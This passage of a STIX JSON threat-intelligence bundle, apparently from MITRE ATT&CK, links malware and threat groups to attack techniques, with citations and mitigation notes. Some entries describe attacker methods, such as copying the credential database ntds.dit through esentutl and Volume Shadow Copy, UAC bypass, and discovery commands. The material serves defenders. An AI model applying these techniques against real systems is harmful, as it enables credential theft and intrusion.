            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:54:09.717Z",
            "description": "[Astaroth](https://attack.mitre.org/software/S0373) collects the timestamp from the infected machine. (Citation: Cofense Astaroth Sept 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--edb24a93-1f7a-4bbf-a738-1397a14662c6",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "spec_version": "2.1",
            "id": "relationship--04e2c418-8f6c-453c-8e17-4d3aeec0f755",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved November 17, 2024.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/05/20081935/rpt-apt30.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T21:54:09.907Z",
            "description": "[SPACESHIP](https://attack.mitre.org/software/S0035) copies staged data to removable drives when they are inserted into the system.(Citation: FireEye APT30)",
            "relationship_type": "uses",
            "source_ref": "malware--8b880b41-5139-4807-baa9-309690218719",
            "target_ref": "attack-pattern--a3e1e6c5-9c74-4fc0-a16c-a9d228c17829",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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                    "description": "Carvey, H. (2024, May 1). LOLBin to INC Ransomware. Retrieved June 5, 2024.",
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                    "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.",
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                    "description": "Symantec Threat Hunter Team. (2024, May 16). Springtail: New Linux Backdoor Added to Toolkit. Retrieved January 17, 2025.",
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                    "description": "Buddy Tancio, Fe Cureg, and Jovit Samaniego, Trend Micro. (2025, January 30). Lumma Stealer\u2019s GitHub-Based Delivery Explored via Managed Detection and Response. Retrieved March 22, 2025.",
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                    "description": "Cara Lin, Fortinet. (2024, January 8). Deceptive Cracked Software Spreads Lumma Variant on YouTube. Retrieved March 22, 2025.",
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                    "description": "Cybereaon Security Services Team. (n.d.). Your Data Is Under New Lummanagement: The Rise of LummaStealer. Retrieved March 22, 2025.",
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                    "source_name": "20 macOS Common Tools and Techniques",
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            "description": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.",
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                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
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            "description": "[Proton](https://attack.mitre.org/software/S0279) prompts users for their credentials.(Citation: objsee mac malware 2017)",
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                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
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                    "source_name": "Bitdefender APT28 Dec 2015",
                    "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.",
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            "description": "[Helminth](https://attack.mitre.org/software/S0170) has used a scheduled task for persistence.(Citation: ClearSky OilRig Jan 2017)",
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                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
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                    "url": "https://unit42.paloaltonetworks.com/unit42-the-fractured-block-campaign-carrotbat-malware-used-to-deliver-malware-targeting-southeast-asia/"
                },
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                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.",
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                    "description": "Mclellan, M.. (2018, November 19). Lazy Passwords Become Rocket Fuel for Emotet SMB Spreader. Retrieved March 25, 2019.",
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            "description": "[Milan](https://attack.mitre.org/software/S1015) can establish persistence on a targeted host with scheduled tasks.(Citation: ClearSky Siamesekitten August 2021)(Citation: Accenture Lyceum Targets November 2021)",
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                    "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.",
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            "description": "[Empire](https://attack.mitre.org/software/S0363) has modules for enumerating domain trusts.(Citation: Github PowerShell Empire)",
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                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
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                    "description": "Mandiant. (2018). Mandiant M-Trends 2018. Retrieved November 17, 2024.",
                    "url": "https://static.carahsoft.com/concrete/files/1015/2779/3571/M-Trends-2018-Report.pdf"
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                    "source_name": "Unit42 OilRig Playbook 2023",
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                    "url": "https://www.clearskysec.com/fox-kitten/"
                },
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                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.",
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                    "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.",
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                    "description": "Lee, S.. (2019, April 24). Emotet Using WMI to Launch PowerShell Encoded Code. Retrieved May 24, 2019.",
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                    "description": "Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.",
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            "description": "[DEADWOOD](https://attack.mitre.org/software/S1134) deletes files following overwriting them with random data.(Citation: SentinelOne Agrius 2021)",
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                    "description": "Jiho Kim & Sebin Lee, S2W. (2024, February 7). Kimsuky disguised as a Korean company signed with a valid certificate to distribute Troll Stealer (English ver.). Retrieved January 17, 2025.",
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            "description": "[Troll Stealer](https://attack.mitre.org/software/S1196) encrypts gathered information on victim devices prior to exfiltrating it through command and control infrastructure.(Citation: S2W Troll Stealer 2024)",
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                    "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
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            "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of accounts with the command <code>net users</code>.(Citation: Symantec Orangeworm April 2018)",
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                    "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020.",
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            "description": "[PipeMon](https://attack.mitre.org/software/S0501) can attempt to gain administrative privileges using token impersonation.(Citation: ESET PipeMon May 2020)",
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                    "description": "Clayton, M.. (2012, September 14). Stealing US business secrets: Experts ID two huge cyber 'gangs' in China. Retrieved February 15, 2018.",
                    "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China"
                },
                {
                    "source_name": "Symantec Elderwood Sept 2012",
                    "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20190717233006/http:/www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf"
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            "description": "[Elderwood](https://attack.mitre.org/groups/G0066) has leveraged multiple types of spearphishing in order to attempt to get a user to open attachments.(Citation: Symantec Elderwood Sept 2012)(Citation: CSM Elderwood Sept 2012)",
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            "description": "Monitor for newly constructed files that may forge web cookies that can be used to gain access to web applications or Internet services.",
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            "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization. ",
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                    "source_name": "Cobalt Strike Manual 4.3 November 2020",
                    "description": "Strategic Cyber LLC. (2020, November 5). Cobalt Strike: Advanced Threat Tactics for Penetration Testers. Retrieved April 13, 2021.",
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a number of known techniques to bypass Windows UAC.(Citation: cobaltstrike manual)(Citation: Cobalt Strike Manual 4.3 November 2020)",
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                    "source_name": "Cobalt Strike Manual 4.3 November 2020",
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            "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can determine the NetBios name and  the IP addresses of targets machines including domain controllers.(Citation: Cyberreason Anchor December 2019)(Citation: Cobalt Strike Manual 4.3 November 2020)",
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            "description": "Limit or restrict program execution using anti-virus software. On MacOS, allowlist programs that are allowed to have the plist tag. All other programs should be considered suspicious.",
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            "description": "Monitor for abnormal use of JamPlus, including the JamPlus Builder, that may be indicative of malicious use.",
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                    "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.",
                    "url": "https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"
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            "description": "[Volt Typhoon](https://attack.mitre.org/groups/G1017) has moved laterally to the Domain Controller via RDP using a compromised account with domain administrator privileges.(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)",
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            "source_ref": "intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2",
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            "created": "2020-11-20T14:11:33.188Z",
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                {
                    "source_name": "CrowdStrike BloodHound April 2018",
                    "description": "Red Team Labs. (2018, April 24). Hidden Administrative Accounts: BloodHound to the Rescue. Retrieved October 28, 2020.",
                    "url": "https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/"
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            "description": "[BloodHound](https://attack.mitre.org/software/S0521) can collect information about domain groups and members.(Citation: CrowdStrike BloodHound April 2018)",
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                    "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.",
                    "url": "https://www.justice.gov/opa/press-release/file/1328521/download"
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            "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) has established social media accounts to disseminate victim internal-only documents and other sensitive data.(Citation: US District Court Indictment GRU Unit 74455 October 2020)",
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                    "description": "Kohler, A. and Lopez, C. (2024, April 30). Malware: Cuckoo Behaves Like Cross Between Infostealer and Spyware. Retrieved August 20, 2024.",
                    "url": "https://www.kandji.io/blog/malware-cuckoo-infostealer-spyware"
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                    "source_name": "MoustachedBouncer ESET August 2023",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
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            "description": "[Disco](https://attack.mitre.org/software/S1088) can download files to targeted systems via SMB.(Citation: MoustachedBouncer ESET August 2023)",
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                    "description": "CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.",
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                    "source_name": "Joint Cybersecurity Advisory Volt Typhoon June 2023",
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                    "description": "Skulkin, O. (2019, August 5). Following the RTM Forensic examination of a computer infected with a banking trojan. Retrieved May 11, 2020.",
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            "description": "[RTM](https://attack.mitre.org/groups/G0048) has used search order hijacking to force TeamViewer to load a malicious DLL.(Citation: Group IB RTM August 2019)",
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            "description": "[FIN8](https://attack.mitre.org/groups/G0061) has executed the command `quser` to display the session details of a compromised machine.(Citation: Symantec FIN8 Jul 2023) ",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--17bb48d5-7b1b-43be-b18e-07bc0462cad5",
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            "revoked": false,
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                {
                    "source_name": "Kaspersky LuminousMoth July 2021",
                    "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.",
                    "url": "https://securelist.com/apt-luminousmoth/103332/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:59:12.049Z",
            "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware to store malicious binaries in hidden directories on victim's USB drives.(Citation: Kaspersky LuminousMoth July 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6",
            "target_ref": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--17bc0957-1509-4faf-bb51-a6a9e1959978",
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                {
                    "source_name": "DFIR Phosphorus November 2021",
                    "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.",
                    "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"
                },
                {
                    "source_name": "DFIR Report APT35 ProxyShell March 2022",
                    "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.",
                    "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"
                },
                {
                    "source_name": "Unit 42 Magic Hound Feb 2017",
                    "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/"
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            "modified": "2025-04-16T21:59:12.284Z",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used the command-line interface for code execution.(Citation: Unit 42 Magic Hound Feb 2017)(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--17bc166c-7598-4297-9cc1-1ee9ef4182a2",
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            "revoked": false,
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                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
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            "modified": "2025-04-16T21:59:12.494Z",
            "description": "[S-Type](https://attack.mitre.org/software/S0085) has run tests to determine the privilege level of the compromised user.(Citation: Cylance Dust Storm)",
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            "source_ref": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
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            "id": "relationship--17bee216-d5ff-4e66-b221-0129be41b4f5",
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                {
                    "source_name": "Zscaler Cobian Aug 2017",
                    "description": "Yadav, A., et al. (2017, August 31). Cobian RAT \u2013 A backdoored RAT. Retrieved November 13, 2018.",
                    "url": "https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-28T15:36:47.896Z",
            "description": "[Cobian RAT](https://attack.mitre.org/software/S0338) has a feature to access the webcam on the victim\u2019s machine.(Citation: Zscaler Cobian Aug 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--aa1462a1-d065-416c-b354-bedd04998c7f",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
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            "external_references": [
                {
                    "source_name": "CheckPoint Naikon May 2020",
                    "description": "CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020.",
                    "url": "https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:36:48.192Z",
            "description": "[Aria-body](https://attack.mitre.org/software/S0456) has the ability to use a DGA for C2 communications.(Citation: CheckPoint Naikon May 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--3161d76a-e2b2-4b97-9906-24909b735386",
            "target_ref": "attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "revoked": false,
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                    "source_name": "Anomali Static Kitten February 2021",
                    "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.",
                    "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"
                },
                {
                    "source_name": "group-ib_muddywater_infra",
                    "description": "Rostovcev, N. (2023, April 18). SimpleHarm: Tracking MuddyWater\u2019s infrastructure. Retrieved July 11, 2024.",
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            "object_marking_refs": [
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            "modified": "2025-04-16T21:59:13.120Z",
            "description": "MuddyWater has used legitimate tools [ConnectWise](https://attack.mitre.org/software/S0591), [RemoteUtilities](https://attack.mitre.org/software/S0592), and SimpleHelp to gain access to the target environment.(Citation: Anomali Static Kitten February 2021)(Citation: group-ib_muddywater_infra)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--17c3e2e7-f208-408c-b767-6c5be92646c4",
            "created": "2023-06-23T20:29:42.868Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023",
                    "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.",
                    "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:59:13.350Z",
            "description": "[Uroburos](https://attack.mitre.org/software/S0022) can use its `Get` command to exfiltrate specified files from the compromised system.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--17c43eed-f8a2-42cb-8f0a-f31978e9e351",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved November 17, 2024.",
                    "url": "https://services.google.com/fh/files/misc/apt37-reaper-the-overlooked-north-korean-actor.pdf"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T21:59:13.565Z",
            "description": "[POORAIM](https://attack.mitre.org/software/S0216) can conduct file browsing.(Citation: FireEye APT37 Feb 2018)",
            "relationship_type": "uses",
            "source_ref": "malware--53d47b09-09c2-4015-8d37-6633ecd53f79",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--17c50546-6ffb-462e-b4ec-2d7cd0b00f55",
            "created": "2021-09-28T18:53:02.564Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky Ferocious Kitten Jun 2021",
                    "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.",
                    "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/"
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            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:36:49.216Z",
            "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can retrieve the victim\u2019s username.(Citation: Kaspersky Ferocious Kitten Jun 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "created": "2022-03-30T14:26:51.857Z",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--17c78374-26ca-40a8-935b-04327c503742",
            "created": "2020-01-28T17:11:54.413Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:36:49.511Z",
            "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea",
            "target_ref": "attack-pattern--2bce5b30-7014-4a5d-ade7-12913fe6ac36",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--17cafa26-57f1-4efb-9d23-1399cd2de4cd",
            "created": "2019-01-29T20:17:49.270Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 Tropic Trooper Nov 2016",
                    "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/"
                },
                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-28T15:36:49.733Z",
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) is capable of enumerating the running processes on the system using <code>pslist</code>.(Citation: Unit 42 Tropic Trooper Nov 2016)(Citation: TrendMicro Tropic Trooper May 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--17ce446f-1a76-46d5-a276-589713425af8",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "S2 Grupo TrickBot June 2017",
                    "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.",
                    "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf"
                },
                {
                    "source_name": "Trend Micro Totbrick Oct 2016",
                    "description": "Antazo, F. (2016, October 31). TSPY_TRICKLOAD.N. Retrieved September 14, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/tspy_trickload.n"
                },
                {
                    "source_name": "Microsoft Totbrick Oct 2017",
                    "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:36:49.912Z",
            "description": "[TrickBot](https://attack.mitre.org/software/S0266) creates a scheduled task on the system that provides persistence.(Citation: S2 Grupo TrickBot June 2017)(Citation: Trend Micro Totbrick Oct 2016)(Citation: Microsoft Totbrick Oct 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
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                    "source_name": "Volexity InkySquid BLUELIGHT August 2021",
                    "description": "Cash, D., Grunzweig, J., Meltzer, M., Adair, S., Lancaster, T. (2021, August 17). North Korean APT InkySquid Infects Victims Using Browser Exploits. Retrieved September 30, 2021.",
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            "modified": "2025-04-28T15:37:01.654Z",
            "description": "(Citation: Volexity InkySquid BLUELIGHT August 2021)",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "BitDefender BADHATCH Mar 2021",
                    "description": "Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"
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            "modified": "2025-04-16T21:59:29.107Z",
            "description": "[BADHATCH](https://attack.mitre.org/software/S1081) can use a PowerShell object such as, `System.Net.NetworkInformation.Ping` to ping a computer.(Citation: BitDefender BADHATCH Mar 2021)",
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            "revoked": false,
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                    "source_name": "Symantec Daggerfly 2023",
                    "description": "Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.",
                    "url": "https://symantec-enterprise-blogs.security.com/threat-intelligence/apt-attacks-telecoms-africa-mgbot"
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            "modified": "2025-04-16T21:59:29.329Z",
            "description": "[MgBot](https://attack.mitre.org/software/S1146) includes modules for collecting information on Active Directory domain accounts.(Citation: Symantec Daggerfly 2023)",
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            "source_ref": "malware--a36eedea-9523-4abb-96e8-205f171ee763",
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                {
                    "source_name": "CrowdStrike Ryuk January 2019",
                    "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.",
                    "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"
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            "description": "[Ryuk](https://attack.mitre.org/software/S0446) has called <code>CreateToolhelp32Snapshot</code> to enumerate all running processes.(Citation: CrowdStrike Ryuk January 2019)",
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            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
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            "revoked": false,
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                    "source_name": "Cary Esentutl",
                    "description": "Cary, M. (2018, December 6). Locked File Access Using ESENTUTL.exe. Retrieved September 5, 2019.",
                    "url": "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/"
                },
                {
                    "source_name": "LOLBAS Esentutl",
                    "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
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            "modified": "2025-04-16T21:59:29.736Z",
            "description": "[esentutl](https://attack.mitre.org/software/S0404) can use the Volume Shadow Copy service to copy locked files such as `ntds.dit`.(Citation: LOLBAS Esentutl)(Citation: Cary Esentutl)",
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                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
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            "modified": "2025-04-28T15:37:02.373Z",
            "description": "Some [Orz](https://attack.mitre.org/software/S0229) versions have an embedded DLL known as MockDll that uses [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) and regsvr32 to execute another payload.(Citation: Proofpoint Leviathan Oct 2017)",
            "relationship_type": "uses",
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "target_ref": "attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab",
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            "id": "relationship--18d97b33-8ad5-426e-a390-72bea109bee0",
            "created": "2019-10-07T19:05:49.045Z",
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                {
                    "source_name": "Unit42 BabyShark Apr 2019",
                    "description": "Lim, M.. (2019, April 26). BabyShark Malware Part Two \u2013 Attacks Continue Using KimJongRAT and PCRat . Retrieved October 7, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/"
                },
                {
                    "source_name": "CISA AA20-301A Kimsuky",
                    "description": "CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020.",
